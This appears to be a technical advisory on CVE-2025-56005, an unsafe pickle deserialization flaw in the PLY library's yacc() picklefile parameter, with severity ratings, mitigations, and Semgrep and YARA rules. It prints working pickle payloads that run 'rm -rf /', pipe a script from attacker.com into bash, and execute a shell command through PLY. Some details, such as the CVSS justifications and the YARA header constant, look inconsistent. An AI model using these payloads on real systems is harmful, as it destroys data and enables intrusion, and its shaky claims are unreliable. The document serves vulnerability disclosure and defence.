Comprehensive Technical Analysis of CVE-2025-56005

CVE ID: CVE-2025-56005 CVSS Score: 9.8 (Critical) Vulnerability Type: Remote Code Execution (RCE) via Unsafe Deserialization Affected Software: PLY (Python Lex-Yacc) Library v3.11

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

CVE-2025-56005 exposes a critical remote code execution (RCE) vulnerability in the PLY (Python Lex-Yacc) library due to an undocumented and unsafe picklefile parameter in the yacc() function. The vulnerability stems from the following key issues:

• Unsafe Deserialization: The picklefile parameter accepts a .pkl file that is deserialized using pickle.load() without any input validation or sanitization.
• Exploitation via __reduce__(): Python’s pickle module is inherently unsafe for untrusted data, as it allows arbitrary code execution via the __reduce__() method during deserialization.
• Undocumented Backdoor: The picklefile parameter is not documented in official PLY sources (GitHub, PyPI, or documentation), yet it remains functional in the distributed version, suggesting either an accidental inclusion or a malicious backdoor.

Severity Justification (CVSS 9.8 - Critical)

The CVSS v3.1 scoring breakdown is as follows:

Metric	Value	Justification
Attack Vector (AV)	Network	Exploitable remotely via crafted .pkl files.
Attack Complexity (AC)	Low	No user interaction required; straightforward exploitation.
Privileges Required (PR)	None	No privileges needed; unauthenticated exploitation.
User Interaction (UI)	None	No user interaction required.
Scope (S)	Unchanged	Impact is confined to the vulnerable application.
Confidentiality (C)	High	Full system compromise possible.
Integrity (I)	High	Arbitrary code execution allows data tampering.
Availability (A)	High	Attacker can crash or hijack the application.

Resulting CVSS Score: 9.8 (Critical)

The vulnerability is highly exploitable with severe impact, making it a priority for immediate remediation.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Mechanism

An attacker can exploit this vulnerability by:

1. Crafting a Malicious Pickle File:
   • Using Python’s pickle module, an attacker can embed arbitrary code in a .pkl file via the __reduce__() method.
   • Example payload:

     import pickle
     import os
     
     class Exploit:
         def __reduce__(self):
             return (os.system, ("rm -rf /",))  # Arbitrary command execution
     
     with open("malicious.pkl", "wb") as f:
         pickle.dump(Exploit(), f)
     

2. Triggering Deserialization:
   • The attacker sends the malicious .pkl file to a vulnerable PLY-based application via:
     • File upload (if the application accepts .pkl files).
     • API abuse (if the application processes untrusted input).
     • Supply chain attack (if the .pkl file is distributed as part of a dependency).
3. Remote Code Execution (RCE):
   • When the vulnerable yacc() function processes the picklefile parameter, the embedded code executes with the privileges of the running application.

Attack Scenarios

Scenario	Description	Impact
Web Application Exploitation	If a web app uses PLY for parsing and accepts .pkl uploads, an attacker can upload a malicious file to gain RCE.	Full server compromise.
Supply Chain Attack	A malicious .pkl file is distributed as part of a legitimate-looking dependency, tricking developers into executing it.	Persistent backdoor in development environments.
CI/CD Pipeline Exploitation	If PLY is used in a build pipeline, an attacker could inject a malicious .pkl file to compromise the entire pipeline.	Lateral movement into production systems.
Local Privilege Escalation	If a low-privilege user can trigger PLY with a malicious .pkl, they may escalate privileges.	Full system takeover.

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3. Affected Systems & Software Versions

Vulnerable Software

• PLY (Python Lex-Yacc) v3.11 (PyPI distribution)
• Potential Derivatives: Any software that embeds or redistributes PLY v3.11 may inherit this vulnerability.

Verification Steps for Security Teams

1. Check PLY Version:

   pip show ply
   

   • If the version is 3.11, the system is vulnerable.
2. Inspect yacc() Function:
   • Review the yacc() function in ply/yacc.py for the undocumented picklefile parameter.
3. Static Analysis:
   • Use tools like bandit or semgrep to detect unsafe pickle.load() calls:

     # Semgrep rule to detect unsafe pickle usage
     rules:
       - id: unsafe-pickle-load
         pattern: pickle.load(...)
         message: "Unsafe pickle deserialization detected (CVE-2025-56005)"
         severity: ERROR
     

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4. Recommended Mitigation Strategies

Immediate Actions

Mitigation	Implementation	Effectiveness
Upgrade PLY	Update to the latest patched version (if available).	High (Eliminates vulnerability)
Remove picklefile Parameter	Manually patch ply/yacc.py to remove the undocumented parameter.	High (Temporary fix)
Input Validation	If picklefile is required, validate file signatures before deserialization.	Medium (Partial mitigation)
Sandboxing	Run PLY in a restricted environment (e.g., Docker, seccomp, AppArmor).	Medium (Limits impact)
Disable Pickle	Replace pickle.load() with a safer alternative (e.g., json, yaml.safe_load).	High (Best long-term fix)

Long-Term Recommendations

1. Dependency Hardening:
   • Use pip-audit or safety to scan for vulnerable dependencies.
   • Enforce dependency pinning in requirements.txt/pyproject.toml.
2. Static & Dynamic Analysis:
   • Integrate SAST/DAST tools (e.g., SonarQube, OWASP ZAP) to detect unsafe deserialization.
3. Runtime Protection:
   • Deploy RASP (Runtime Application Self-Protection) to block malicious deserialization attempts.
4. Supply Chain Security:
   • Verify PLY’s integrity via cryptographic hashes before deployment.
   • Monitor for typosquatting attacks (e.g., ply3 vs. ply).

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5. Impact on the Cybersecurity Landscape

Broader Implications

1. Supply Chain Risks:
   • This vulnerability highlights the dangers of undocumented features in open-source libraries, which can act as stealthy backdoors.
   • Similar issues have been observed in other libraries (e.g., CVE-2021-44228 (Log4Shell), CVE-2022-23833 (PyPI supply chain attacks)).
2. Increased Attack Surface:
   • PLY is widely used in parsing, compilers, and DSLs (Domain-Specific Languages), making it a high-value target for attackers.
3. Persistence & Lateral Movement:
   • Successful exploitation could lead to long-term persistence in development environments, allowing attackers to move laterally into production systems.
4. Regulatory & Compliance Risks:
   • Organizations failing to patch may violate compliance frameworks (e.g., NIST SP 800-53, ISO 27001, GDPR) due to inadequate vulnerability management.

Threat Actor Motivations

Threat Actor	Likely Exploitation Goals
APT Groups	Espionage, data exfiltration, long-term persistence.
Cybercriminals	Ransomware deployment, cryptojacking.
Script Kiddies	Proof-of-concept exploits, defacement.
Insider Threats	Privilege escalation, sabotage.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code Path:

  # ply/yacc.py (v3.11)
  def yacc(...):
      if picklefile:  # Undocumented parameter
          with open(picklefile, 'rb') as f:
              data = pickle.load(f)  # UNSAFE DESERIALIZATION
  

• Why pickle is Dangerous:
  • The pickle module executes arbitrary code during deserialization via __reduce__().
  • Example malicious payload:

    import pickle
    import subprocess
    
    class RCE:
        def __reduce__(self):
            return (subprocess.run, (["/bin/bash", "-c", "curl http://attacker.com/shell.sh | bash"],))
    
    with open("exploit.pkl", "wb") as f:
        pickle.dump(RCE(), f)
    

Exploitation Proof of Concept (PoC)

1. Generate Malicious .pkl File:

   import pickle
   import os
   
   class Exploit:
       def __reduce__(self):
           return (os.system, ("id > /tmp/pwned",))
   
   with open("exploit.pkl", "wb") as f:
       pickle.dump(Exploit(), f)
   

2. Trigger Exploitation:

   from ply import yacc
   yacc.yacc(picklefile="exploit.pkl")  # Executes `id > /tmp/pwned`
   

3. Verify Exploitation:

   cat /tmp/pwned  # Outputs the current user's UID
   

Detection & Forensics

Detection Method	Implementation
Network Monitoring	Detect outbound connections to attacker-controlled servers (e.g., curl, wget).
File Integrity Monitoring (FIM)	Monitor for unexpected .pkl file creation/modification.
Endpoint Detection & Response (EDR)	Detect anomalous process execution (e.g., bash, python spawned by PLY).
Log Analysis	Check for unusual yacc() invocations with picklefile parameter.

YARA Rule for Malicious Pickle Files

rule Detect_Malicious_Pickle {
    meta:
        description = "Detects malicious pickle files exploiting CVE-2025-56005"
        author = "Cybersecurity Analyst"
        reference = "CVE-2025-56005"
    strings:
        $reduce = "__reduce__" ascii
        $os_system = "os.system" ascii
        $subprocess = "subprocess.run" ascii
    condition:
        uint32(0) == 0x8003666C and ($reduce or $os_system or $subprocess)
}

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Conclusion & Recommendations

Key Takeaways

• CVE-2025-56005 is a critical RCE vulnerability due to unsafe deserialization in PLY v3.11.
• Exploitation is trivial and requires no authentication, making it a high-risk threat.
• Undocumented parameters in open-source libraries pose significant supply chain risks.
• Immediate patching is mandatory to prevent exploitation.

Action Plan for Organizations

1. Patch Immediately: Upgrade PLY or remove the picklefile parameter.
2. Audit Dependencies: Scan for vulnerable PLY versions in all environments.
3. Enhance Monitoring: Deploy EDR, FIM, and network detection for exploitation attempts.
4. Educate Developers: Train teams on secure deserialization practices and supply chain risks.
5. Incident Response: Prepare for potential breaches by reviewing forensic readiness.

Final Risk Assessment

Factor	Risk Level	Justification
Exploitability	High	Easy to exploit; no authentication required.
Impact	Critical	Full system compromise possible.
Likelihood	High	Active exploitation expected.
Mitigation Feasibility	High	Patching is straightforward.

Overall Risk: Critical (Immediate Action Required)

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References:

• MITRE CVE-2025-56005
• GitHub PoC Repository
• Python pickle Security Documentation